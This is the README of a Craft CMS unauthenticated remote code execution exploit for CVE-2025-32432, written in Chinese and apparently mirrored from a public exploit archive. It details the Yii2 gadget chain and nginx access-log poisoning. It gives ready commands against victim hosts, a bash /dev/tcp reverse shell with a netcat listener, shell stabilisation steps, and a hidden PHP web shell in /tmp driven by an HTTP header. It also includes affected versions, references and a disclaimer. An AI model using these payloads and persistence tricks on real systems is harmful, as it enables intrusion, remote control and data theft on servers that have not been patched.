## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CD-RATEL-CVE-2025-32432
# CVE-2025-32432 - Craft CMS 未认证 RCE PoC
> 针对 **CVE-2025-32432** 的可用概念验证 PoC,这是一个影响 **Craft CMS** 版本直至并包含 **5.6.16** 的未认证远程代码执行漏洞(在等效代码路径上也影响 4.x 和 3.x 分支)。
搜索关键词:`CVE-2025-32432`、`Craft CMS RCE`、`Craft 5.6.16 exploit`、 `Yii2 PhpManager gadget`、`craftcms generate-transform`、`Component::__set as behavior`、 `nginx log poisoning Craft`、`unauth RCE craftcms 2025`。
* * *
## TL;DR
root@kitploit:~
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
默认模式针对 vanilla Craft CMS 安装。`--lab` 标志用于 hacklab-platform 项目的 `carangueijada-20` 挑战,该挑战将 Craft 置于自定义会话 cookie 之后。
* * *
## 漏洞
受影响组件:`craft\controllers\AssetsController::actionGenerateTransform`。
该 action 被注册为 `allowAnonymous`,因此不需要任何认证。它接受一个 POST 参数 `handle`,然后将其 **展开(spread)** 到 `Craft::createObject()` 调用中:
root@kitploit:~
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
当 `$handle` 是攻击者控制下的关联数组时,展开操作会将任意键注入构造函数配置。特别地,以 `as ` 开头的键会被 `yii\base\Component::__set` 解释为行为(behavior)附加,该操作会在 **任何类型检查之前** 对值调用 `Yii::createObject($config)`:
root@kitploit:~
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
Yii2 在 2.0.50 中的修复为此分支增加了 `is_subclass_of($value['class'], Behavior::class)` 检查;易受攻击的安装(Yii2 <= 2.0.49,或较早移除该补丁的版本)会完全跳过此守卫。
### 利用链:`yii\rbac\PhpManager`
`PhpManager` 是 Yii2 的库存类。它的 `init()` 调用 `load()`,而 `load()` 调用 `loadFromFile($this->itemFile)`。`loadFromFile` 实际上就是:
root@kitploit:~
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
`require` 会将磁盘上的任何文件作为 PHP 解析。如果文件包含 `<?php ... ?>` 块,该块就会在 worker 中执行。通过将 `itemFile` 指向内容受攻击者控制的文件,即可实现完整的 RCE。
### 落点:nginx `access.log`
跨安装环境最可靠的落点是 nginx 的 combined 格式 `access.log`。它会原样记录请求的 `User-Agent`,包括不可打印字符和大多数标点符号。通过发送一个 `User-Agent` 为 `<?php system('id'); exit; ?>` 的请求,攻击者就能在已知路径上植入 PHP 块。随后将 `itemFile` 指向 `/var/log/nginx/access.log`,`require` 便会处理该日志,按顺序执行每个 `<?php ... ?>` 块。
有两个细节需要注意:
1. **Payload 中不能使用双引号。** nginx 在 combined 格式中会将 `"` 转义为 `\x22`,这会破坏该行的 PHP 解析。请使用单引号或 `chr()` 拼接。
2. **末尾的`exit;`**,这样 `require` 会在解析后续可能包含其他畸形 payload 的日志行之前中止。
* * *
## 受影响版本
组件| 受影响| 已修复
---|---|---
Craft CMS| <= 5.6.16| 5.6.17
Craft CMS| <= 4.15.2| 4.15.3
Craft CMS| <= 3.9.14| 3.9.15
Yii2| <= 2.0.49| 2.0.50
Craft 5.6.17 对转换器类增加了 `ImageTransformerInterface` 检查。Yii2 2.0.50 在 `Component::__set` 中增加了 `Behavior` 子类检查。任一修复单独应用即可封堵这条具体的利用链。
* * *
## 环境要求
* Python 3.8+
* `requests` 库(`pip install -r requirements.txt`)
* 可访问目标 HTTP(S) 端点的网络连通性
* 目标上有效的 Craft `assetId`。默认为 `2`;如有需要可用 `-a <id>` 覆盖(asset id 1 通常是管理员头像)。
* * *
## 使用方法
### 标准 Craft CMS
root@kitploit:~
python3 exploit.py -u http://victim.tld -c 'id'
### Craft 挂在路径前缀下
root@kitploit:~
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
### 自定义 asset ID
root@kitploit:~
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
### 自定义 `itemFile`(不同的日志路径、FPM session 等)
root@kitploit:~
python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
### 实验模式(carangueijada-20 挑战)
hacklab-platform 的 `carangueijada-20` 实验环境将 Craft 安装放在由 `PATCH /login` 签发的 `coopsess` cookie 之后。`--lab` 标志会自动处理该握手过程。
root@kitploit:~
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
确保 `www.carangueijada.coop` 能解析到实验环境的 IP(如有需要可添加到 `/etc/hosts`)。
### 反弹 Shell
`--revshell` 标志会触发一个 `bash -i >& /dev/tcp/<lhost>/<lport> 0>&1` 反向连接,并以后台方式运行,使 gadget POST 立即返回。
**双终端流程(最可靠):**
root@kitploit:~
# 终端 1 - 在你自己机器上监听
nc -lvnp 4444
# 终端 2 - 触发漏洞
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
**带内置监听器的单终端流程:**
root@kitploit:~
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
`--auto-listen` 会在触发 payload 之前,于同一终端中启动 `nc -lvnp <lport>`。完成后按 Ctrl+C 退出。
示例会话(实验环境):
root@kitploit:~
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# 在监听器中:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
**稳定 Shell** (连接后用,在反弹 shell 内部执行):
root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 按 Ctrl+Z 将 nc 切到后台
stty raw -echo; fg
# 按两次回车
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
* * *
## 幂等性原理
首次运行时,漏洞利用程序会污染一次 `access.log`,在 `/tmp/.cve32432_w.php` 处放置一个隐藏的 PHP wrapper。该 wrapper 读取 `X-Cmd` HTTP 头并执行 `system($_SERVER['HTTP_X_CMD'])`。之后每次派发都会将 `itemFile` 指向该 wrapper 文件,并通过请求头传递命令。不再需要污染日志、不再产生日志污染、也不会再出现“第一个 `<?php exit;` 块先执行”导致的失败。
如果你想强制重新写入,请删除目标上的 `/tmp/.cve32432_w.php`(你可以直接通过 wrapper 自身完成:`--cmd 'rm /tmp/.cve32432_w.php'`)。
* * *
## 示例输出
对全新目标成功运行:
root@kitploit:~
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
日志被污染时的回退方案(目标之前已被利用过,较旧的 payload 会在你的 payload 之前退出):
root@kitploit:~
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
* * *
## 利用链实际触发过程
1. `POST /actions/assets/generate-transform` 到达 `AssetsController::actionGenerateTransform`。
2. handler 构建 `$config = ['class' => ImageTransform::class, ...$handle]`。 我们的 `handle[as gadget]` 能在展开后保留下来。
3. `Craft::createObject($config)` 调用 `Yii::$container->get(ImageTransform::class, [], $config)`,它会实例化 `ImageTransform`,并通过 `$transform->{$key} = $value` 写入其余每个配置键。
4. 当解析到 `as gadget` 时,`Component::__set` 匹配到 `as ` 前缀,并调用 `Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log'])`。
5. `Yii::createObject` 构造 `PhpManager`,执行 `__construct()`,然后执行 `init()`。
6. `PhpManager::init()` -> `load()` -> `loadFromFile($this->itemFile)` -> `require '/var/log/nginx/access.log'`。
7. PHP 解析日志文件。非 PHP 文本会回显到 stdout(最终出现在 HTTP 响应体中)。`<?php ... ?>` 块会在 worker 中执行。
8. 我们植入的 payload 执行 `system($cmd)` 和 `exit;`。输出会出现在响应体中 `<?php` 块原本所在的位置。
* * *
## 故障排查
症状| 原因| 修复方法
---|---|---
`HTTP 400` \+ “could not verify your data submission” / “Pedido invalido”| CSRF 令牌未绑定到 POST 时使用的 cookie| 脚本使用单个 `requests.Session`;如果你重新实现,请确保 cookie jar 在 `session-info` 和 POST 之间保留了 `CRAFT_CSRF_TOKEN`。
`/actions/...` 返回 `HTTP 403`| 路径前缀或 vhost 错误| 使用 `-p /prefix` 匹配 Craft 挂载的位置;确保 Host 头与安装匹配。
`csrfTokenValue` 为空 / `session-info` 返回 HTML| Accept 头错误| 脚本已经发送了 `Accept: application/json`;如果你把它移除,请恢复它。
输出从未显示你的命令| `access.log` 中已有一个更旧的 `<?php ... exit; ?>` payload 会先执行| 在目标上轮转/截断日志。如果你只能用 `id` 级别的 RCE,请等待下一次 logrotate,或者通过一个可写的 PHP 文件(例如 `/tmp/wrapper.php`,内容为 `system($_SERVER['HTTP_X_CMD']);`)进行中转,并将其用作后续的 `itemFile`。
`assetId not found`| 该安装环境中的 ID 不正确| 浏览公开资产 URL 枚举 ID,或先试 `-a 1`,再试 `-a 3..N`。
目标已修复| Craft >= 5.6.17 或 Yii2 >= 2.0.50| 利用链已封堵;要么寻找另一个易受攻击的类,要么放弃。
Payload 触发 PHP 致命错误| 更旧的日志条目包含畸形 PHP,会在你的块之前破坏解析器| 与日志污染的修复方法相同:轮转日志。
### 日志污染绕过(无管理员访问权限)
如果你只能可靠地运行 `id`(因为更旧的 `exit;` 污染已锁死利用链),一个可行的中继方法是让这条唯一的 `id` 级命令 **向你可控的路径写入一个 PHP wrapper** ,然后将所有后续请求的 `itemFile` 改为该路径:
root@kitploit:~
# 一次性污染,命令以 www-data 身份写入 /tmp/w.php
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# 将 CMD 编码为 chr() ...
然后调用:
root@kitploit:~
python3 exploit.py -u http://victim.tld \
-i /tmp/w.php \
-c 'whoami'
之后的每次派发都会读取 `/tmp/w.php`(一个干净 PHP 文件,我们的 payload 之前没有其他内容),并执行来自 `X-Cmd` 头的命令。如果你希望将其作为内置模式,可以自行修改脚本。
* * *
## 文件
root@kitploit:~
.
├── exploit.py # PoC
├── README.md # 本文件
├── requirements.txt # Python 依赖(仅 `requests`)
└── LICENSE # MIT
* * *
## 参考
* Craft CMS 知识库条目:https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
* GitHub Security Advisory(GHSA-f3gw-9ww9-jmc3):https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
* SensePost 真实世界攻击活动分析:https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
* NVD:https://nvd.nist.gov/vuln/detail/CVE-2025-32432
* Yii2 `Component.php`(存在漏洞的修订版):https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php
* Yii2 修复(2.0.50):https://github.com/yiisoft/yii2/pull/19938
* 修复 5.6.17 的 Craft CMS 提交:https://github.com/craftcms/cms/commit (搜索 2025-04-09 前后的 "ImageTransformerInterface")
* OWASP 日志注入:https://owasp.org/www-community/attacks/Log_Injection
* HackTricks 通过 nginx 日志实现 LFI 到 RCE:https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-log
* * *
## 免责声明
本概念验证仅用于**防御性研究、教育用途以及经授权的渗透测试** 。在大多数司法管辖区,对你不拥有或未经书面许可的系统运行它是非法的。作者对滥用行为不承担任何责任。
如果你维护着 Craft CMS 安装,请**升级到 5.6.17 或更高版本** (或相应的 4.x / 3.x 补丁版本)。该漏洞极容易被利用,并且已在 SensePost 记录的真实世界攻击活动中使用。
## 许可证
MIT。参见 LICENSE。